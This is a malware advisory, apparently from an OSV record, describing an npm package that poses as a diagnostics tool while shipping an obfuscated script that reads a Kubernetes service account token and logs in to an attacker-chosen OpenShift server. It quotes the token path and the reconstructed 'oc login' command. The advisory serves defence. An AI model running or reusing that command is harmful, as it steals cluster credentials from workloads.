Malicious code in oceanx-diagnostics-tool (npm)
- MAL-2026-21083
Description
The package presents itself as an HTTP/DNS diagnostics tool but ships tester.sh, a shell script that uses single-character variable fragments concatenated and passed to `eval` to hide its payload. The reconstructed commands read the in-cluster Kubernetes service account token from /var/run/secrets/kubernetes.io/serviceaccount/token and run `./oc login --token=$DEBUG_FILE --server=$SERV --insecure-skip-tls-verify`, authenticating to a caller/attacker-supplied OpenShift server with TLS verification disabled. The string-fragment obfuscation is specifically shaped to defeat grep/static review and is inconsistent with the package's stated benign purpose. The script is not wired to an npm lifecycle hook and the declared `main: index.js` is absent from the tarball, so the payload does not auto-execute on `npm install` or `require()`; it runs only when the shipped tester.sh is explicitly invoked (for example via the `scripts.send` entry or manual execution inside a pod). The package's shipped content is nonetheless a ready-to-run credential-theft tool targeting Kubernetes workloads that install it.
Text from the OSV record.
Recommendation
Remove the package and rotate any secret the machine that installed it could reach. There is no version to update to.
Affected
oceanx-diagnostics-toolnpm
No versions listed
Timeline
- Published
Related news
No article from the followed outlets names this vulnerability.